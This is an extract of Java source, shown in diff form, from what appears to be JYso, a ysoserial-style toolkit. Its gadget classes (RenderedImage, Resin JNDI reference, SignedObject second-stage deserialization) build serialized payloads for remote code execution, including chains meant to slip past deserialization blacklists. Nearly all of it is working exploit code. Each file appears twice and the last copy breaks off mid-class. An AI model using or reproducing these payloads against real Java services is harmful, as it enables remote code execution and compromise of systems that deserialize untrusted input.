Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
|
||||
|
||||
return serializableRenderedImage;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.imageio.ImageIO;
|
||||
import javax.media.jai.remote.SerializableRenderedImage;
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.net.InetAddress;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"javax.media:jai-codec-1.1.3"})
|
||||
public class RenderedImage implements ObjectPayload<Object> {
|
||||
public static byte hexToByte(String inHex) {
|
||||
return (byte) Integer.parseInt(inHex, 16);
|
||||
}
|
||||
|
||||
public static byte[] hexToByteArray(String inHex) {
|
||||
int hexlen = inHex.length();
|
||||
byte[] result;
|
||||
if (hexlen % 2 == 1) {
|
||||
hexlen++;
|
||||
result = new byte[(hexlen / 2)];
|
||||
inHex = "0" + inHex;
|
||||
} else {
|
||||
result = new byte[(hexlen / 2)];
|
||||
}
|
||||
int j = 0;
|
||||
for (int i = 0; i < hexlen; i += 2) {
|
||||
result[j] = hexToByte(inHex.substring(i, i + 2));
|
||||
j++;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <host>:<port>");
|
||||
}
|
||||
|
||||
String host = command.substring(0, sep);
|
||||
String port = command.substring(sep + 1);
|
||||
|
||||
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
|
||||
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
|
||||
|
||||
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
|
||||
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
|
||||
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
|
||||
|
||||
return serializableRenderedImage;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,79 +1,79 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.caucho.naming.QName;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
|
||||
import javax.naming.CannotProceedException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.directory.DirContext;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.URI;
|
||||
import java.util.Hashtable;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class Resin implements ObjectPayload<Object> {
|
||||
public static Object makeToStringTrigger(Object o) throws Exception {
|
||||
String unhash = unhash(o.hashCode());
|
||||
XString xString = new XString(unhash);
|
||||
return makeMap(o, xString);
|
||||
}
|
||||
|
||||
public static String unhash(int hash) {
|
||||
int target = hash;
|
||||
StringBuilder answer = new StringBuilder();
|
||||
if (target < 0) {
|
||||
// String with hash of Integer.MIN_VALUE, 0x80000000
|
||||
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
|
||||
|
||||
if (target == Integer.MIN_VALUE)
|
||||
return answer.toString();
|
||||
// Find target without sign bit set
|
||||
target = target & Integer.MAX_VALUE;
|
||||
}
|
||||
|
||||
unhash0(answer, target);
|
||||
return answer.toString();
|
||||
}
|
||||
|
||||
private static void unhash0(StringBuilder partial, int target) {
|
||||
int div = target / 31;
|
||||
int rem = target % 31;
|
||||
|
||||
if (div <= Character.MAX_VALUE) {
|
||||
if (div != 0)
|
||||
partial.append((char) div);
|
||||
partial.append((char) rem);
|
||||
} else {
|
||||
unhash0(partial, div);
|
||||
partial.append((char) rem);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
//需要处理command
|
||||
return makeResinQName(command);
|
||||
}
|
||||
|
||||
public Object makeResinQName(String command) throws Exception {
|
||||
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
|
||||
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
|
||||
ccCons.setAccessible(true);
|
||||
CannotProceedException cpe = new CannotProceedException();
|
||||
Reflections.setFieldValue(cpe, "cause", null);
|
||||
Reflections.setFieldValue(cpe, "stackTrace", null);
|
||||
//考虑换成其他的
|
||||
URI uri = new URI(command);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
|
||||
|
||||
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
|
||||
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
|
||||
QName qName = new QName(ctx, "foo", "bar");
|
||||
return makeToStringTrigger(qName);
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.caucho.naming.QName;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
|
||||
import javax.naming.CannotProceedException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.directory.DirContext;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.URI;
|
||||
import java.util.Hashtable;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class Resin implements ObjectPayload<Object> {
|
||||
public static Object makeToStringTrigger(Object o) throws Exception {
|
||||
String unhash = unhash(o.hashCode());
|
||||
XString xString = new XString(unhash);
|
||||
return makeMap(o, xString);
|
||||
}
|
||||
|
||||
public static String unhash(int hash) {
|
||||
int target = hash;
|
||||
StringBuilder answer = new StringBuilder();
|
||||
if (target < 0) {
|
||||
// String with hash of Integer.MIN_VALUE, 0x80000000
|
||||
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
|
||||
|
||||
if (target == Integer.MIN_VALUE)
|
||||
return answer.toString();
|
||||
// Find target without sign bit set
|
||||
target = target & Integer.MAX_VALUE;
|
||||
}
|
||||
|
||||
unhash0(answer, target);
|
||||
return answer.toString();
|
||||
}
|
||||
|
||||
private static void unhash0(StringBuilder partial, int target) {
|
||||
int div = target / 31;
|
||||
int rem = target % 31;
|
||||
|
||||
if (div <= Character.MAX_VALUE) {
|
||||
if (div != 0)
|
||||
partial.append((char) div);
|
||||
partial.append((char) rem);
|
||||
} else {
|
||||
unhash0(partial, div);
|
||||
partial.append((char) rem);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
//需要处理command
|
||||
return makeResinQName(command);
|
||||
}
|
||||
|
||||
public Object makeResinQName(String command) throws Exception {
|
||||
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
|
||||
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
|
||||
ccCons.setAccessible(true);
|
||||
CannotProceedException cpe = new CannotProceedException();
|
||||
Reflections.setFieldValue(cpe, "cause", null);
|
||||
Reflections.setFieldValue(cpe, "stackTrace", null);
|
||||
//考虑换成其他的
|
||||
URI uri = new URI(command);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
|
||||
|
||||
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
|
||||
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
|
||||
QName qName = new QName(ctx, "foo", "bar");
|
||||
return makeToStringTrigger(qName);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,255 +1,255 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import cn.hutool.core.comparator.PropertyComparator;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import org.apache.commons.collections4.bag.TreeBag;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
import org.springframework.beans.factory.ObjectFactory;
|
||||
|
||||
import java.awt.*;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.*;
|
||||
import java.math.BigInteger;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
import static java.lang.Class.forName;
|
||||
|
||||
/**
|
||||
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
|
||||
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
|
||||
* yso 中大概包含如下几种可用的常见调用链:
|
||||
* 1. InvokerTransformer 调用任意方法(依赖 CC)
|
||||
* 2. BeanComparator 调用 getter 方法(依赖 CB)
|
||||
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
|
||||
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome)
|
||||
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
|
||||
* 6. MemberBox 反射调用任意方法(依赖 rhino)
|
||||
* 7. hutool.MapProxy 二次反序列化
|
||||
* 8. MapMessage 二次反序列化
|
||||
* <p>
|
||||
* 利用方式:
|
||||
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
|
||||
* 最后2个类型是脏数据类型和长度,为0则不混淆
|
||||
* @author QI4L
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
String[] commands = command.split(":");
|
||||
|
||||
if (commands.length < 3) {
|
||||
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
|
||||
}
|
||||
|
||||
String type1 = commands[0];
|
||||
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
|
||||
|
||||
switch (type1.toLowerCase()) {
|
||||
case "cb":
|
||||
return getSignedObjectWithCB(object);
|
||||
case "hibernate":
|
||||
return getSignedObjectWithHibernate(object);
|
||||
case "rome":
|
||||
return getSignedObjectWithRome(object);
|
||||
case "rhino":
|
||||
return getSignedObjectWithRhino(object);
|
||||
case "spring":
|
||||
return getSignedObjectWithSpring(object);
|
||||
case "cc4":
|
||||
return getSignedObjectWithCC4(object);
|
||||
case "cu":
|
||||
return getHutoolMapProxy(object);
|
||||
case "mm":
|
||||
return getMapMessage(object);
|
||||
case "cc":
|
||||
default:
|
||||
return getSignedObjectWithCCNoArray(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public Object getOriginal(String[] args) throws Exception {
|
||||
final String payloadType = args[0];
|
||||
String command = args[1];
|
||||
|
||||
// 支持单双引号
|
||||
if (command.startsWith("'") || command.startsWith("\"")) {
|
||||
command = command.substring(1, command.length() - 1);
|
||||
}
|
||||
|
||||
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
|
||||
|
||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(realCmd);
|
||||
|
||||
if (args.length >= 3) {
|
||||
final String type = args[2];
|
||||
final String length = args[3];
|
||||
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
|
||||
}
|
||||
|
||||
return object;
|
||||
}
|
||||
|
||||
// MapMessage二次反序列化
|
||||
public Object getMapMessage(Object serObj) throws Exception {
|
||||
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
|
||||
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
||||
objects[1] = mapMessage;
|
||||
|
||||
Comparator<?> comparator = new PropertyComparator<>("getKey");
|
||||
setFieldValue(queue, "comparator", comparator);
|
||||
return queue;
|
||||
}
|
||||
|
||||
// hutool.MapProxy 二次反序列化
|
||||
public Object getHutoolMapProxy(Object serObj) throws Exception {
|
||||
HashMap<String, Object> map = new HashMap<>();
|
||||
map.put("bounds", serialize(serObj));
|
||||
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
|
||||
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
||||
objects[1] = proxy;
|
||||
|
||||
Comparator<?> comparator = new PropertyComparator<>("bounds");
|
||||
setFieldValue(queue, "comparator", comparator);
|
||||
return queue;
|
||||
}
|
||||
|
||||
// CC 无数组二次反序列化
|
||||
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
Map<?,?> old = new HashMap<>();
|
||||
Transformer invoke = new InvokerTransformer("toString", null, null);
|
||||
Map<?,?> newMap = LazyMap.decorate(old, invoke);
|
||||
TiedMapEntry entry = new TiedMapEntry(newMap, obj);
|
||||
Map<TiedMapEntry, Object> ht = new HashMap<>();
|
||||
ht.put(entry, obj);
|
||||
newMap.remove(obj);
|
||||
|
||||
setFieldValue(invoke, "iMethodName", "getObject");
|
||||
return ht;
|
||||
}
|
||||
|
||||
// CC4 无 TiedMapEntry 二次反序列化
|
||||
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
||||
TransformingComparator comp = new TransformingComparator<>(transformer);
|
||||
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
|
||||
tree.add(obj);
|
||||
setFieldValue(transformer, "iMethodName", "getObject");
|
||||
return tree;
|
||||
}
|
||||
|
||||
// CB 二次反序列化
|
||||
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
setFieldValue(comparator, "property", "object");
|
||||
setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return queue;
|
||||
}
|
||||
|
||||
// Hibernate 二次反序列化
|
||||
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
||||
return Hibernate1.makeCaller(obj, getters);
|
||||
}
|
||||
|
||||
|
||||
// Rome 二次反序列化
|
||||
public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||
return makeMap(root, root);
|
||||
}
|
||||
|
||||
|
||||
// Spring-Core 二次反序列化
|
||||
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
||||
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
||||
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
|
||||
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
|
||||
setFieldValue(mitp, "methodName", "getObject");
|
||||
return mitp;
|
||||
}
|
||||
|
||||
// Rhino 二次反序列化
|
||||
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(makeSlot);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||
setFieldValue(slot, "getter", initContextMemberBox);
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
makeSlot.invoke(scriptableObject, "object", 0, 2);
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
setFieldValue(nativeJavaArray, "javaObject", obj);
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
|
||||
return nativeJavaObject;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import cn.hutool.core.comparator.PropertyComparator;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import org.apache.commons.collections4.bag.TreeBag;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
import org.springframework.beans.factory.ObjectFactory;
|
||||
|
||||
import java.awt.*;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.*;
|
||||
import java.math.BigInteger;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
import static java.lang.Class.forName;
|
||||
|
||||
/**
|
||||
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
|
||||
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
|
||||
* yso 中大概包含如下几种可用的常见调用链:
|
||||
* 1. InvokerTransformer 调用任意方法(依赖 CC)
|
||||
* 2. BeanComparator 调用 getter 方法(依赖 CB)
|
||||
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
|
||||
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome)
|
||||
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
|
||||
* 6. MemberBox 反射调用任意方法(依赖 rhino)
|
||||
* 7. hutool.MapProxy 二次反序列化
|
||||
* 8. MapMessage 二次反序列化
|
||||
* <p>
|
||||
* 利用方式:
|
||||
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
|
||||
* 最后2个类型是脏数据类型和长度,为0则不混淆
|
||||
* @author QI4L
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
String[] commands = command.split(":");
|
||||
|
||||
if (commands.length < 3) {
|
||||
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
|
||||
}
|
||||
|
||||
String type1 = commands[0];
|
||||
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
|
||||
|
||||
switch (type1.toLowerCase()) {
|
||||
case "cb":
|
||||
return getSignedObjectWithCB(object);
|
||||
case "hibernate":
|
||||
return getSignedObjectWithHibernate(object);
|
||||
case "rome":
|
||||
return getSignedObjectWithRome(object);
|
||||
case "rhino":
|
||||
return getSignedObjectWithRhino(object);
|
||||
case "spring":
|
||||
return getSignedObjectWithSpring(object);
|
||||
case "cc4":
|
||||
return getSignedObjectWithCC4(object);
|
||||
case "cu":
|
||||
return getHutoolMapProxy(object);
|
||||
case "mm":
|
||||
return getMapMessage(object);
|
||||
case "cc":
|
||||
default:
|
||||
return getSignedObjectWithCCNoArray(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public Object getOriginal(String[] args) throws Exception {
|
||||
final String payloadType = args[0];
|
||||
String command = args[1];
|
||||
|
||||
// 支持单双引号
|
||||
if (command.startsWith("'") || command.startsWith("\"")) {
|
||||
command = command.substring(1, command.length() - 1);
|
||||
}
|
||||
|
||||
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
|
||||
|
||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(realCmd);
|
||||
|
||||
if (args.length >= 3) {
|
||||
final String type = args[2];
|
||||
final String length = args[3];
|
||||
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
|
||||
}
|
||||
|
||||
return object;
|
||||
}
|
||||
|
||||
// MapMessage二次反序列化
|
||||
public Object getMapMessage(Object serObj) throws Exception {
|
||||
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
|
||||
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
||||
objects[1] = mapMessage;
|
||||
|
||||
Comparator<?> comparator = new PropertyComparator<>("getKey");
|
||||
setFieldValue(queue, "comparator", comparator);
|
||||
return queue;
|
||||
}
|
||||
|
||||
// hutool.MapProxy 二次反序列化
|
||||
public Object getHutoolMapProxy(Object serObj) throws Exception {
|
||||
HashMap<String, Object> map = new HashMap<>();
|
||||
map.put("bounds", serialize(serObj));
|
||||
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
|
||||
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
||||
objects[1] = proxy;
|
||||
|
||||
Comparator<?> comparator = new PropertyComparator<>("bounds");
|
||||
setFieldValue(queue, "comparator", comparator);
|
||||
return queue;
|
||||
}
|
||||
|
||||
// CC 无数组二次反序列化
|
||||
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
Map<?,?> old = new HashMap<>();
|
||||
Transformer invoke = new InvokerTransformer("toString", null, null);
|
||||
Map<?,?> newMap = LazyMap.decorate(old, invoke);
|
||||
TiedMapEntry entry = new TiedMapEntry(newMap, obj);
|
||||
Map<TiedMapEntry, Object> ht = new HashMap<>();
|
||||
ht.put(entry, obj);
|
||||
newMap.remove(obj);
|
||||
|
||||
setFieldValue(invoke, "iMethodName", "getObject");
|
||||
return ht;
|
||||
}
|
||||
|
||||
// CC4 无 TiedMapEntry 二次反序列化
|
||||
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
||||
TransformingComparator comp = new TransformingComparator<>(transformer);
|
||||
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
|
||||
tree.add(obj);
|
||||
setFieldValue(transformer, "iMethodName", "getObject");
|
||||
return tree;
|
||||
}
|
||||
|
||||
// CB 二次反序列化
|
||||
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
setFieldValue(comparator, "property", "object");
|
||||
setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return queue;
|
||||
}
|
||||
|
||||
// Hibernate 二次反序列化
|
||||
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
||||
return Hibernate1.makeCaller(obj, getters);
|
||||
}
|
||||
|
||||
|
||||
// Rome 二次反序列化
|
||||
